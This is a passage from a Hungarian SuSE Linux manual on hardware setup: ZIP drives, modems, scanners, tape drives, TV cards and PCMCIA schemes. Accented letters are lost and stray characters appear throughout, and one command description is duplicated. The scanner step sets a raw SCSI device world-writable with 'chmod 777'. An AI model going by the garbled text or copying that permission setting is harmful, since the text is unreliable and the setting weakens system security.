Az mtools csomag az MS-DOS formtum hajlkonylemezek egyszer u elrsre szolgl. Ezen programok lehet sgeir l s hasznlatrl rszletes o o informcikat tallunk a 19.12 . fejezetben (512. oldal). Lehet sg van nem MS-DOS fjlrendszer (pl.ext2 vagy minix) lemezek o u olvassra s rsra is. Az emltetteken kvl szmos tovbbi fjlrendszer is hasznlhat. Ehhez azonban el szr elrhet v kell tenni az adott adathoro o dozt a mount parancs segtsgvel. Err l a 19.11 . fejezetben (510. oldal) o olvashatunk b vebben. o 10.5.2 LS-120 meghajtk

Az (E)IDE porthoz csatlakoz LS-120 meghajtkat a rendszer merevlemeznek ltja, vagyis elrskhz szksg van a mount parancsra. 10.5.3 ZIP meghajtk

Klnfle csatlakozfellettel rendelkez ZIP meghajtk lteznek, gy o ATAPI, SCSI, valamint USB fellet ek (ez utbbi jelenleg nem tmogatott a u Linuxban). Az ATAPI s a SCSI ZIP-meghajtk nem ignyelnek kln meghajtprogramot, minden extra bellts nlkl csatlakoztathatk s hasznlhatk az adott busz (IDE vagy SCSI) meghajtprogramjnak segtsgvel. Az eszkzket az albbi nevek azonostjk:
/dev/hda - /dev/hdd ATAPI esetn

illetve
/dev/sda - /dev/sdm SCSI esetn

Az eszkz a mount parancs hasznlatval illeszthet be a knyvtrstrukto rba. A prhuzamos porthoz csatlakoztathat vltozat teleptse valamivel bonyolultabb. Szksg van SCSI merevlemez-tmogatsra, a parport- s 325

10. A Linux s a hardver parport_pc tmogatsra (lsd a 10.4.3 . fejezetben (323. oldal)), valamint a kernel ppa vagy imm meghajtprogramjra3 ; az imm a modernebb meghajtkhoz (pl. a ZIP 250-hez) kell. Meg kell gy z dnnk arrl, hogy a szmtgp BIOS-ban az EPP md vano o e megadva a prhuzamos porthoz. Ha tudjuk pontosan, hogy milyen tpus meghajtnk van, prbljuk meg betlteni az imm programot:
meggyfa: # modprobe imm

Ha ez nem m kdik, prblkozzunk a ppa programmal: u


meggyfa: # modprobe ppa

Ennek hatsra a parport alrendszer automatikusan inicializldik. Ha a parancs nem m kdik, nzzk meg a 62 . fejezetben (323. oldal) lertakat. u Bizonyos esetekben a /etc/modules.conf fjl egy bejegyzse segthet (lsd a 10.5.1 fjllistt). A scsi hostadapter alias csak akkor hasznlhat, ha a rendszerben nem tallhat szabvnyos SCSI host adapter! Egy msik lehet sg a szksges modprobe parancsok bersa az o /sbin/init.d/boot.local-ba. Ezzel az llomnnyal kapcsolatban a 17.4 . fejezetben (460. oldal) tallunk tovbbi informcikat.
# alias scsi_hostadapter ppa pre-install ppa modprobe "-k" parport_pc

10.5.1 fjllista: /etc/modules.conf: ppa-kongurci Ezutn a ZIP lemezek ugyanolyan mdon rhet k el, mint a SCSI merevleo mezek; szksgnk lesz a meghajt "mount"-olsra is. Lsd a 19.11.2 . fejezetben (511. oldal).

10.6
10.6.1

Modemek
Kls modemek o

A kls modemek ltalban a szmtgp soros portjhoz csatlakoztathatk. o A programok a /dev/ttyS0, /dev/ttyS1 stb. eszkzfjlokon keresztl rik el azokat. A modem internet-kapcsolathoz val belltsrl tovbbi informcik a 6.5 . fejezetben (188. oldal) tallhatk. 10.6.2 Bels modemek o

Az asztali szmtgpekben PCI vagy ISA bels modemeket hasznlnak. o Ezekkel kapcsolatban a 10.2 . fejezetben (311. oldal) tallhatunk informcikat. Mivel a modemek soros porton keresztl rhet k el, a bels modemek sajt o o maguk kell, hogy tartalmazzanak egy ilyen portot. A soros portok ltal szoksosan hasznlt er forrsokat a 10.2 . fejezetben (333. oldal) megtallhat o tblzat tartalmazza.
3 A ppa- s/vagy imm meghajtprogramok a "SCSI alacsonyszint meghajtprogramok" kztt u tallhatk, de nincs szksg sajt kernel fordtsra, a SuSE Linux tartalmazza a szksges el refordtott modulokat. o

326

10.6. Modemek PCI modemek A PCI modemek szinte kizrlag n. "Winmodem"-ek. Egy Winmodem nem teljes rtk modem, hanem olyan hardvereszkz, amely egy speu cilis meghajtprogram segtsgvel egy valdi modemet emull. Ezt a meghajtprogramot ltalban a Winmodem gyrtja kszti el, s CSAK Microsoft Windows alatt hasznlhat. A Linuxkompatibilis modemekr l o s a winmodem-meghajtprogramok fejlesztsr l a kvetkez weblapon o o tallhat informci: http://www.o2.net/~gromitkc/winmodem.html ISA modemek Az ISA modemeknl els sorban kt dolgot kell gyelembe vennnk: o Be kell lltani magt a modemet (a porthoz tartoz megszaktsi s IO cmeket). A kernelnek tudnia kell, hogy milyen megszaktst s portot hasznl a krtya. A modem inicializlsa Amint azt a 10.2 . fejezetben (311. oldal) lttuk, az ISA krtyk lehetnek jumperrel rendelkez , illetve jumper nlkli s Plug and Play rendszer kro u tyk. A fent emltett szakasz a PNP krtyk inicializlst is ismerteti. Nhny tancs a belltsokhoz: A leginkbb problmamentes megolds ltalban a /dev/ttyS1 (COM2) s a 3-as megszakts belltsa. Hasznlhat a /dev/ttyS3 (IRQ 4) is, azonban tkzs lphet fel, ha a ttyS0 (COM1) is ltezik a rendszerben, mivel ltalban ez a port is a 4-es megszaktst hasznlja. Ezrt ha a /dev/ttyS0 porton egr van, ne hasznljuk a /dev/ttyS0 vagy a /dev/ttyS2 portot. ltalban nem ajnlott az 5-s megszakts hasznlata, mivel ez esetleg tkzhet a hangkrtyval. Hangkrtya hasznlata esetn lehet leg el szr a o o hangkrtyt lltsuk be, mivel ez sok er forrst ignyel. o Ha PNP hangkrtynk van, s az OSS-t hasznljuk, gy z djnk meg arrl, o o hogy a /etc/isapnp.conf fjlban a hangkrtyhoz tartoz belltsok nincsenek aktivlva (a hangkrtyhoz tartoz, ACT Y szveget tartalmaz bejegyzseket kell kikommentezni). Paramterek tadsa a kernelnek A modem ltal hasznlt port s IRQ belltsa utn meg kell mondanunk a kernelnek, hogy milyen belltsokat hasznl a krtya. Szabvnyos port s IRQ (/dev/ttyS0 vagy /dev/ttyS1) hasznlata esetn a rendszer automatikusan felismeri a krtyt a legkzelebbi jraindtskor. Ms IO-port/IRQ kombincik esetn kzzel kell megadnunk a kernel szmra az eszkz ltal hasznlt IRQ-t a setserial programmal:
meggyfa:/ # setserial /dev/ttyS3 irq 10

Ezutn mr bellthatjuk a modemet az internet-kapcsolathoz, err l b vebben o o lsd a 6.5 . fejezetben (188. oldal). 327

10. A Linux s a hardver Ha a rendszer felismeri a modemet, automatikusan indthat a setserial program a /sbin/init.d/serial megfelel sornak mdostsval: o Mdostsuk az albbi sort:
# run_setserial /dev/ttyS3 $AUTO_IRQ autoconfig

a kvetkez re: o
run_setserial /dev/ttyS3 irq 10

10.7

Lapolvask

Ha lapolvast szeretnnk hasznlni a Linuxban, ahhoz egy sor specilis program szksges. Ezeket a sane csomag tartalmazza a gra kszletb l. o A SANE segtsgvel olyan lapolvask hasznlhatk Linux alatt, amelyek a kernel ltal tmogatott SCSI vezrl hz csatlakoznak. o A szmtgp prhuzamos (nyomtat) portjhoz csatlakoz lapolvask egyel re mg nem tmogatottak, br a szksges eszkz-meghajtprogramok fejo lesztse folyamatban van. Ugyanez vonatkozik az USB lapolvaskra is. Mivel a SANE fejleszts alatt ll, a tmogatott lapolvask listja folyamatosan b vl. A tmogatott lapolvask legfrisebb listja a kvetkez cmen tao o llhat: http://wwwmostang.com/sane/sane-backends.html Hogyan kell belltani egy lapolvast Linux alatt? A lapolvask Linux alatt "ltalnos scsi eszkz"-knt (generic scsi devices). rhet ek el. Az ezeknek megfelel eszkznevek: /dev/sg0, /dev/sg1 o o ... stb. A rendszerben tallhat eszkznevek ellen rzsre szolgl az sgcheck o program:
meggyfa:/ # sgcheck

A kvetkez kimenetet kell kapnunk: o


Assignment of generic SCSI devices, device host/channel/ID/LUN type(numeric type) vendor model: /dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N /dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X /dev/sg2 0/0/5/0 Processor(3) HP C2500A

A lapolvask rendelkeznek egy eszkz-azonostval, pl. Processor vagy SCANNER. A fenti pldban a lapolvas a /dev/sg2 eszkznven rhet o el. Hozzunk ltre egy, az eszkzre mutat szimbolikus linket /dev/scanner nven:
meggyfa:/ # ln -s /dev/sg2 /dev/scanner

Vgl meg kell vltoztatni az ltalnos SCSI eszkzre vonatkoz jogosultsgokat. A SANE az eszkzre vonatkozan rsi s olvassi jogot is ignyel, mivel parancsokat kld a lapolvasnak, illetve adatokat is fogad t le: o
meggyfa:/ # chmod 777 /dev/sg2

328

10.8. Szalagos meghajtk Problmk Ha a SANE nem tallja a lapolvast, el szr is ellen rizzk, hogy a SCSI o o vezrl megtallhat-e s megfelel en van-e belltva: o o
meggyfa:/ # cat /proc/scsi/scsi

Az albbihoz hasonl kimenetet kell, hogy kapjunk:


Attached devices: Host: scsi0 Channel: 00 Id: 00 Lun: 00 Vendor: SEAGATE Model: ST32550N Type: Direct Access Host: scsi0 Channel: 00 Id: 01 Lun: 00 Vendor: PIONEER Model: CD-ROM DR-U10X Type: CD-ROM Host: scsi0 Channel: 00 Id: 02 Lun: 00 Vendor: QUANTUM Model: FIREBALL TM3200S Type: Direct-Access Host: scsi0 Channel: 00 Id: 06 Lun: 00 Vendor: SCANNER Model: Type: Scanner Rev: 0016 ANSI SCSI revision: 02 Rev: 1.07 ANSI SCSI revision: 02 Rev: 1.07 ANSI SCSI revision: 02 Rev: 2.00 ANSI SCSI revision: 01 CCS

Ha nem tallunk "SCANNER", "PROCESSOR" vagy hasonl bejegyzst, a SCSI vezrl nem azonostotta a lapolvast. Ellen rizzk, hogy a lapolvas o o be van-e kapcsolva, s megfelel en van-e csatlakoztatva a SCSI buszhoz. o

10.8

Szalagos meghajtk

A szalagos meghajtkat, ms nven streamereket els sorban nagy kapacits o httrtrolknt hasznljk. Tbbfajta csatlakozfellettel kaphatk. SCSI szalagos meghajtk A legelterjedtebbek a SCSI buszhoz csatlakoz meghajtk. Alapvet en azt o felttelezhetjk, hogy minden eszkz, amely a Linux ltal tmogatott SCSI vezrl re csatlakozik, hasznlhat, br ha az eszkz plusz funkcikkal reno delkezik, ezek elrshez specilis szoftverre lehet szksgnk. Egy SCSI szalagos meghajt vezrlse a kvetkez kppen trtnik: o A rendszerben tallhat els szalagos meghajt vezrlsre hasznlt eszo kzfjlok a /dev/st0 s a /dev/nst0, a kvetkez hz tartozk a o /dev/st1 s a /dev/nst1 stb. A /dev/stX olyan meghajtra vonatkozik, amely hasznlat utn automatikusan visszatekeri a szalagot, a /dev/nstX pedig olyan meghajtt jell, amely hasznlat utn az aktulis helyzetben hagyja a szalagot. A /dev/nstX hasznlata az ajnlott, mivel az mt segtsgvel preczen vezrelhetjk a meghajtt. Szalagos meghat vezrlse az mt programmal:
meggyfa:/ # mt -f /dev/nst0 retension

A szalag visszatekersvel, majd gyors el retekersvel megfeszti a o szalagot.


meggyfa:/ # mt -f /dev/nst0 rewind

A szalagot a legutols rgztett adatokat kvet pozciba mozgatja. o Rszben res szalagra val adatrgztskor hasznljk.

329

10. A Linux s a hardver


meggyfa:/ # mt -f /dev/nst0 eof

A szalagot a legutols rgztett adatokat kvet pozciba mozgatja. o Rszben res szalagra val adatrgztskor hasznljk.
meggyfa:/ # mt -f /dev/nst0 erase

Trli a szalagon trolt adatokat. Csak kell vatossggal hasznljuk, mert o a trlt adatok visszalltsra nincs lehet sgnk! o IDE szalagos meghajtk Az IDE szalagos meghajtk az IDE buszhoz csatlakoznak. A Linux automatikusan felismeri ezeket a meghajtkat. Az eszkzre a /dev/ht0 vagy a /dev/nht0 eszkzfjlokkal hivatkozhatunk. Az eszkz vezrlsre az mt parancsot hasznlhatjuk, lsd a 10.8 fejezetet. A hajlkonylemez-vezrl hz csatlakoz szalagos meghajtk o Ezek a meghajtk a szmtgp hajlkonylemez-vezrl jhez csatlakoznak o (majdnem minden szmtgpben van hajlkonylemez-vezrl ). o Mivel az ilyen eszkzk vezrlse pontos szinkronizlst ignyel, viszonylag gyakran lpnek fel hibk ments (rs) sorn. Ezen eszkzk Linux alatti hasznlathoz klnleges meghajtprogram, az ftape szksges. Ezt a meghajtprogramot a kernel tartalmazza. A dokumentci, melyet a /usr/src/linux/Documentation/ftape.txt tartalmaz, b vebb o informcit nyjt az eszkz belltshoz. Az ftape alrendszer teljes kr dou kumentcija a meghajt-program fejleszt inek honlapjn tallhat, melynek o cme: http://www.math1.rwth-aachen.de/heine/ftape/

10.9

Tvkrtyk

A Linux egyik legfrisebb jdonsga, hogy tvkrtya segtsgvel tvt nzhetnk a grakus felleten (X Window System). Ezt kernelmodulok teszik lehet v, s termszetesen szksgnk van a megfelel programokra is a to o vnzshez. Mely tvkrtyk tmogatottak Linux alatt? A krtya tmogatottsga alapvet en a krtyn lv lapka tpustl fgg. A o o legszlesebb krben hasznlt lapkk az utbbi vekben a Brooktree cg ltal gyrtott videodekder-lapkk lettek. Linux alatt a BT848 s a BT878 lapkk hasznlhatk. A BT878 lapka tmogatsa egyel re mg nem teljeskr , br o u ma mr stabilnak mondhat. Ilyen lapkt tartalmaznak pl. a Hauppauge WIN/TV s a Miro PC/TV krtyk. 330

10.9. Tvkrtyk A tmogats engedlyezse Jelentkezznk be root felhasznlknt (rendszergazdaknt). A YaST segtsgvel teleptsk a gra kszletb l a bttv csomagot. o Vltsunk t a /usr/doc/packages/bttv/tools knyvtrba s indtsuk el a programfrisstst:
meggyfa:/ # cd /usr/doc/packages/bttv/tools meggyfa:/usr/doc/packages/bttv/tools # ./update

A parancsfjl el kszti a szmtgpet a tvkrtya hasznlathoz. Mego llaptja a rendszerben tallhat krtya tpust s betlti a szksges modulokat. Ha problmk lpnnek fel, tanulmnyozzuk t a kvetkez knyvtrban tao llhat dokumentcit: /usr/doc/packages/bttv/doc Tovbbi informcikat a Tmogat Adatbzis (Support Database) tartalmaz, melynek cme: http://sdb.suse.de/en/html/ (kulcssz: tv)

331

10. A Linux s a hardver

ad1816.o ad1848.o adlib_card.o cmipci.o cs4232.o es1370.o es1371.o esssolo1.o gus.o mad16.o maui.o mpu401.o msnd.o msnd_classic.o msnd_pinnacle.o msnd_pinnacle.o nm256.o opl3.o opl3sa.o opl3sa2.o pas2.o pss.o sb.o sgalaxy.o softoss2.o sonicvibes.o sound.o soundlow.o soundcore.o sscape.o trix.o uart401.o uart6850.o v_midi.o wavefront.o

AD1816 Chip (pl. TerraTec Base1/64) AD1848 Chip (MSS) Generic OPLx meghajt CMI8338, experimental (?) Crystal 423x chipkszlet Ensoniq 1370 chipkszlet (lsd PCI64/128) Creative Ensoniq 1371 chipkszlet (lsd PCI64/128) Solo1 ES1938/ES1969 Gravis Ultrasound MAD16 Turtle Beach Maui s Tropez MPU401 Turtle Beach MultiSound Turtle Beach Classic/Monterey/Tahiti Turtle Beach Pinnacle/Fiji Turtle Beach Pinnacle/Fiji Neo Magic OPL3 OPL3-SA1 YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx Pro Audio Spectrum Personal Sound System (ECHO ESC614) Sound Blaster s klnjai Aztech Sound Galaxy Software-MIDI-Synthesizer meghajt S3 Sonic Vibes Az sszes tbbi modul szmra szksges funkcikat tartalmazza Alacsonyszint -Sound meghajt u Magasszint handler a hangrendszer szmra u Ensoniq SoundScape MediaTrix AudioTrix Pro UART401 UART6850 Sound Blaster DSP chips Turtle Beach Maui, Tropez, Tropez Plus

10.1 tblzat: A hangkrtyameghajtk listja

332

10.9. Tvkrtyk

Eszkznv /dev/ttyS0 /dev/ttyS1 /dev/ttyS2 /dev/ttyS3

Nv COM1 COM2 COM3 COM4

Megszakts 4 3 4 3

IOcm 0x3f8 0x2f8 0x3e8 0x2e8

10.2 tblzat: A soros portok er forrsai o

333

10. A Linux s a hardver

334

11. fejezet

Laptop-ok PCMCIA, APM, IrDA


Fordtotta: Hermann Benedek s Vradi Istvn A Laptopok sok klnleges rszegysget tartalmazhatnak. Ilyen pldul az APM "Advanced Power Management", az Infravrs port (IrDA) s a PC krtyk (PCMCIA). Ezek a hardverelemek asztali szmtgpekben is megtallhatk. Mivel e kt fajta hardvercsoport kztt nincs lnyeges klnbsg, ezrt az e fejezetben lertak mindkt tpusnl felhasznlhatk. Konkrt Laptop tpusokrl b vebb informci a "Linux Laptop weboldal"-on tallhat: o http://www.cs.utexas.edu/users/kharker/linux-laptop. Hasznos informcikat tartalmaz mg err l a tmrl a "LiLAC" homepage o is: http://home.snafu.de/wehe/index_li.html. Itt a Laptop-HOGYAN lers mellett megtallhat az IrDA-HOGYAN dokumentci is.

11.1
11.1.1

PCMCIA
Hardver

A PCMCIA jelentse: "Personal Computer Memory Card International Association", teht a mozaiksz nem a "People Cant Memorize Computer Industry Acronyms" rvidtse ;-) ("Az emberek kptelenek megjegyezni a szmtgpgyrtk ltal krelt rvidtseket"), magyarosan legtbbszr picimacinak beczzk. A kifejezs ktfle jelentssel br, a hardver mellett az ahhoz kapcsold szoftverelemeket is gy hvjuk. A fontosabb rsz maga a PCMCIA krtya, amelynek kt alapvet fajtja van: o PC krtya: ez a legalapvet bb tpus. Viszonylag olcs, megbzhat s stabil o krtya, 16 bites csatlakozval. CardBus krtya: ez a tpus 32 bites adatbuszt hasznl, ezrt termszetesen gyorsabb s drgbb is a PC krtynl. Mivel az adattvitel a rendszer ms pontjain ennl lassabb, ezrt az adattvitel sebessgnek nvelse sok esetben indokolatlan. Jelenleg kevs meghajtprogram ltezik ezekhez a krtykhoz, s sokszor ezek m kdse a PCMCIA vezrl t l fgg en u oo o instabil. Ha a PCMCIA szolgltats aktv, akkor a cardctl ident paranccsal lehet lekrdezni a krtyk tpust. A tmogatott krtyk listja a SUPPORTED_CARDS fjlban tallhat meg 335

11. Laptop-ok PCMCIA, APM, IrDA a /usr/share/doc/packages/pcmcia alatt. Ugyancsak itt van a PCMCIA-HOWTO, azaz a PCMCIA-HOGYAN aktulis vltozata is. A msik lnyeges elem a PCMCIA vezrl ill. a PC CARD/CARDBUSo bridge. Ez az eszkz biztostja a kapcsolatot a krtya s a PCI (vagy rgebbi rendszereken az ISA) csatol kztt, s ltalban kompatibilis az Intel i82365 tpusval, melynek minden vltozatt tmogatja a Linux is. A konkrt tpus a probe paranccsal krdezhet le, tovbbi rtkes informcikat o adhat mg az lspci -vt parancs is. 11.1.2 A szoftverek

Az sszes lnyeges program s meghajt megtallhat a pcmcia csomagban, az a1 kszletben, amg ezek nem vlnak a kernel rszv. Az alapvet modulok a kvetkez k: pcmcia_core, i82365 (ritkn ennek tcic o o a neve) s a ds. Ezek a rendszer indulsakor automatikusan betlt dnek, o elindtjk a PCMCIA vezrl t s elvgzik az alapvet feladatokat. o o Mivel a PCMCIA krtyk a gp bekapcsolt llapotban is cserlhet k, ezrt o o szksg van egy dmonra, ami gyeli az illeszt k aktulis llapott. Ez a Cardmanager (cardmgr), ami automatikusan indul el a modulok betltse utn. Ahogy berakunk egy krtyt egy res illeszt helyre, a Cardmanager o meghatrozza annak tpust s betlti a szksges modulokat. Az gy betlttt modulok listja az lsmod paranccsal lekrdezhet . Ha minden modult o sikerlt betlteni, a Cardmanager a krtya funkcijtl fgg en elindtja o a szksges bellt programokat, amellyel pl. felpti a hlzati kapcsolatot, vagy becsatolja (mount) a szksges kls SCSI meghajtt. Amikor a krtyt o eltvoltjuk, a Cardmanager lelltja a krtyhoz szksges programokat, s eltvoltja a memribl a feleslegess vlt kernel modulokat. Elmletileg a krtyt egyszer en el lehet tvoltani, s ez rendesen m kdik u u pl. hlzati krtyk, modemek, ISDN krtyk esetn akkor, ha ppen nincs semmilyen hlzati forgalom. Nem m kdik azonban csatolt fjlrendszerek, u kls meghajtk ill. NFS knyvtrak esetn. Ilyenkor meg kell gy z dni o o o arrl, hogy az adott eszkz szinkronizlsa s eltvoltsa megtrtnt-e (sync s umount). Ha ez nem derl ki egyrtelm en, akkor a u
meggyfa: # cardctl eject

parancsot kell kiadni, amely lelltja a krtya m kdst mg akkor, amikor u csatlakoztatva van a PCMCIA foglalatba. 11.1.3 Bellts

A PCMCIA csomag teleptsekor ngy vltoz kerl bele a /etc/rc.config kongurcis fjlba. A START_PCMCIA vltoz rtke hatrozza meg, hogy elinduljon-e a pcmcia szolgltats a rendszer indulskor. Ez ks bb kzzel is elindthat az rcpcmcia start pao ranccsal, akkor is, ha a START_PCMCIA rtke no. A PCMCIA vltoz tartalmazza a vezrl tpust, amely a legtbb esetben i82365, s a telepo tskor automatikusan ltrejn. Tovbbi kt vltoz PCMCIA_PCIC_OPTS s PCMCIA_CORE_OPTS egyb paramtereket tartalmazhat, ezeket az esetek tbbsgben resen lehet hagyni. A PCMCIA_CORE_OPTS rtke Compaq notebookok esetn do_pnp=0, ezt azonban csak ennl a tpusnl 336

11.1. PCMCIA szksges megadni. Egyb belltsokra nincs szksg, mivel a krtyk teljes kongurlst a Cardmanager (cardmgr) magtl elvgzi. Ethernet s Token Ring A YaST segtsgvel knnyen kongurlhatk az Ethernet ill. a Token Ring jellemz i: a Rendszeradminisztrci Hlzat konfio gurlsa menpontban a hagyomnyos eszkzkhz hasonl mdon le het megadni a paramtereket, azzal a klnbsggel, hogy az F9 gomb segtsgvel meg kell adni, hogy PCMCIA krtyrl van sz (lsd a 3.6.3 . fejezetben (108. oldal)). Ezzel kapcsolatban rdemes megfontolni nhny szablyt: Ha tbb Ethernet vagy Token Ring krtyt jelltnk be PCMCIA eszkznek, akkor csak az els eszkz lesz aktv. o A belltsok a norml Ethernet krtykkal ellenttben az F10 megnyomsa utn AZONNAL aktivizldnak. A megjelen eszkznevek (eth0, eth1, tr0, tr1) egyedl csak az eszo kz funkcijra utalnak, a krtyk sorszma viszont a csere lehet sge o miatt dinamikusan vltozhat. Egy nem aktv eszkz jraaktivlsakor ismt meg kell adnunk, hogy PCMCIA eszkzr l van sz ( o F9 billenty ). u ISDN Az ISDN krtykat a tbbi krtyhoz hasonlan lehet kongurlni (lsd a 6.2 . fejezetben (175. oldal)), azzal a klnbsggel, hogy a YaST Rendszeradminisztrci Hlzat konfigurlsa menpontjban itt is be kell jellnnk a PCMCIA opcit ( F9 billenty ). Az ISDN parau mterek konfigurlsa menpontban nem kell megvltoztatni sem a krtya IRQ-jt, sem az IO portot. Az ISDN krtyknak ltezik PCMCIA vltozata is, ezek vagy modemek, vagy tbbfunkcis, "ISDN-Connection" kszlettel rendelkez eszkzk, o amelyeket szintn modemknt lehet kezelni. Modemek A PCMCIA modemeknl ltalban nincs szksg klnleges belltsokra, a csatolba helyezs utn az eszkz /dev/modem eszkznven elrhet . o Ezeket a wvdial programmal a hagyomnyos modemekhez hasonlan kell belltani, lsd a 6.6 . fejezetben (188. oldal). SCSI s IDE A szksges modulokat a Cardmanager tlti be helyettnk, behelyezs utn az eszkz azonnal m kd kpes. Az eszkz neve vltoz lehet, az ppen u o aktulis llapotrl a /proc/scsi vagy a /proc/ide llomnyok adnak rszletes informcit. 337

11. Laptop-ok PCMCIA, APM, IrDA Kls meghajtk, CDROM meghajtk s hasonl eszkzk behelyezse o el tt gy z djnk meg arrl, hogy be vannak-e kapcsolva. A SCSI krtyo o o kat aktv lezrval kell lezrni. Fontos: SCSI vagy IDE meghajt eltvoltsa el tt a megfelel parto o ci(ka)t el bb le kell csatolni (umount). E lps nlkl a rendszer ugyan o stabil marad, de a meghajtt mr csak egy reboot utn tudjuk majd jbl hasznlni. Elvileg a Linux installlhat teljes egszben kls meghajtra is, de a bootoo lsi folyamatot ebben az esetben "indtlemez"-r l kell elindtani. Ez a lemez o tartalmaz egy betlt programot s egy virtulis ram-lemezt is (initrd o Initial RAM disk). B vebben lsd a 16.3 . fejezetben (439. oldal). o Az initrd egy kis virtulis fjlrendszert tartalmaz, amelyben benne vannak a PCMCIA kezelshez szksges modulok s programok is. A SuSE Linux "boot disk" tartalmazza ezeket a programokat, gy felhasznlhat olyan Linux indtsra is, amely kls meghajtra van teleptve. Br kiss macers mino den indtskor betlteni a szksges modulokat, gyakorlottabb felhasznlk mgis talakthatjk RAM lemezket olyanra, amit a sajt rendszerk egyedileg megkvn1 . 11.1.4 Belltsok a "smk (schemes)" megvltoztatsra

Mobil szmtgpeknek gyakran van tbbfle belltsuk. Pldul egy a munkra s egy otthonra. A PCMCIA eszkzkre ez bizonytottan elg knny , u de a belltsi fjlokat kzzel kell tszerkesztennk; a YaST nem tudja elltni ezt a feladatot2 . A PCMCIA egyedi belltsi proljait "smk" (schemes) nven ismerjk. A belltsi fjlokat a /etc/pcmcia/*.opts alatt talljuk, ahol tbb sma is lehet. Az adatok belltsi blokkokban tallhatk egy-egy smhoz, s "cm"-ekkel (address) vlaszthatk ki. A cmek vessz vel elvlasztott szao vak. Az els sz a sma neve. A tovbbi szavak informcikat tartalmaznak o pl. a foglalatrl, amibe a krtyt illesztettk, vagy a merevlemez partcis szmrl. Rszletes informcik talhatk a /etc/pcmcia/*.opts fjl elejn, valamint a PCMCIA-HOWTO-ban. A SuSE Linux ltal hasznlt szabvny sma neve SuSE. A SuSE smt a SuSEcong szerkeszti, amikor belltjuk a hlzati kapcsolatot a YaST -tal. Emiatt e sma kzi vltoztatsa el fog veszni a SuSEconfig legkzelebbi indtsa utn. Pldakppen egy ethernet krtya belltst fogunk hasznlni a sma belltshoz. Kt smt csinlunk, egyet munka s egyet otthon nven. A /etc/pcmcia/network.opts fjl (lsd a 11.1.1 fjllistt) tbb klnbz belltsi blokkot (blocks) tartalmaz az albbi cmekkel: o SuSE,*,*,*: Ez az egysg mr ltezik s gy kell hagynunk, arra az esetre, ha a jv ben a belltshoz a YaST -ot szeretnnk hasznlni. o
1 Err l b vebb lers tallhat a PCMCIA-HOWTO 5.3-as pontjban: "Indts egy PCMCIA o o eszkzr l". o 2 Tbb ISDN eszkz is bellthat, azonos hlzati cmmel s azonos alap tvlasztval (default route). Ezek nem indulnak el automatikusan, csak kivlasztsra. Modemek esetn, tbb klnbz prolt lehet belltani a wvdial programmal. o

338

11.1. PCMCIA
# Az address formtuma "scheme,socket,instance,hwaddr" . case "$ADDRESS" in SuSE,*,*,*) INFO="This scheme is to be configured by YaST/SuSEconfig" # [... abbreviated ...] ;; munka,*,*,*) INFO="Hlzati bellts a munkahelyhez DHCP-n t" IF_PORT="" BOOTP="n" DHCP="y" IPADDR="" NETMASK="" NETWORK="" BROADCAST="" GATEWAY="" DOMAIN="" SEARCH="" DNS_1="" MOUNTS="" start_fn () { return; } stop_fn () { return; } ;; otthon,*,*,*) INFO="Hlzati bellts otthonra, lland cmet hasznlva" IF_PORT="" BOOTP="n" DHCP="n" IPADDR="10.0.1.23" NETMASK="255.255.255.0" NETWORK="10.0.1.0" BROADCAST="10.0.1.255" GATEWAY="10.0.1.1" DOMAIN="home.de" SEARCH="home.de work.de" DNS_1="10.0.1.1" MOUNTS="" start_fn () { return; } stop_fn () { return; } ;; *,*,*,*) INFO="Plda privt hlzat belltsra" # [... abbreviated ...] ;; esac

11.1.1 fjllista: /etc/pcmcia/network.opts munka,*,*,*: Ez az egysg a munkahelyi hlzat belltshoz van. otthon,*,*,*: Bellts otthonra. *,*,*,*: Ez az egysg mr ltezik, s gy kell hagynunk a jv beni o belltsok hasznlathoz. Legknnyebb a YaST -tal belltani egy smt, s a SuSEconfig lefutsa utn lecserlni a nevet SuSE-rl munk-ra vagy otthon-ra. Azoknak akik sajt maguk akarnak mindent megszerkeszteni, tovbbi informcik tallhatk olyan fogalmakrl, mint a NETMASK, BROADCAST stb. az 5.1 . fejezetben (156. oldal) tallhat tblzatban, a specilis paramtereket pedig a PCMCIA-HOWTO-ban (a legutbbi verzit a /usr/share/doc/packages/pcmcia alatt talljuk meg). A sma megvltoztathat indtskor, vagy futs alatt is. Az aktv smt a cardctl scheme parancs hatrozza meg. Smavlts futs alatt ugyanez339

11. Laptop-ok PCMCIA, APM, IrDA


image root label alias append # image root label alias append # image root label alias append = = = = = = = = = = = = = = = /boot/vmlinuz /dev/hda7 munka m xzx SCHEME=munka xzx /boot/vmlinuz /dev/hda7 otthon o xzx SCHEME=otthon xzx /boot/vmlinuz /dev/hda7 suseconf s xzx SCHEME=SuSE xzx

11.1.2 fjllista: PCMCIA plda a lilo.conf-bl zel a paranccsal trtnik, szintakszisa: cardctl scheme <Sma_nv>. Ezek a belltsok nem vesznek el amikor jraindtjuk a rendszert, ami azt jelenti, hogy az utoljra kivlasztott sma a kvetkez indtskor is aktv, o hacsak kifejezetten meg nem vltoztattuk. A vltoztats az indtsi prompt-nl vgezhet el (LILO:) a o SCHEME=<Sma_neve> vltoz megadsval. Tovbbi informcik az indt promptnl trtn parao mtertadsrl, a 14.3.2 . fejezetben (385. oldal) tallhatk. Hasznlhatjuk a rendszerbetlt t, hogy ltrehozzunk egy vagy tbb rgztett o indtsi smt. Folytatva pldnkat, ltrehozunk hrom indtsi belltst. Az append paramter hasznlata (amit a /etc/lilo.conf-ban hasznlunk), lthat a 11.1.2 fjllistban. A /etc/lilo.conf mdostsa utn a lilo parancsot el kell indtanunk. A plda belltst hasznlva, a 11.1.2 fljban egyszer en megadva az m, o u vagy s paramtert indtskor, a kvnt sma elindthat. APM-tmogats A SuSE Linux-ban lv PCMCIA csomag APM tmogats nlkl kszlt, o mert az APM nem m kdik megfelel en minden rendszeren. Hasznlhatu o juk az apmd -t az APM tmogats szimullsra (lsd a 11.2.3 . fejezetben (345. oldal)), vagy jrafordtjuk a rendszermagot, ami kzel sem olyan bonyolult. Lnyeges, hogy a megfelel rendszermag fusson, amikor jrafordto juk azt, ugyanis bizonyos informckat onnan vesznk t. A PCMCIA csomag mr teleptve lehet, de ne legyen elindtva; ktsg esetn futtassuk le az rcpcmcia stop parancsot. Utna teleptsk a PCMCIA forrscsomagot a YaST -tal s vgl teleptsk fel, gy:
meggyfa: # rpm -ba /usr/src/packages/SPECS/pcmcia.spec

340

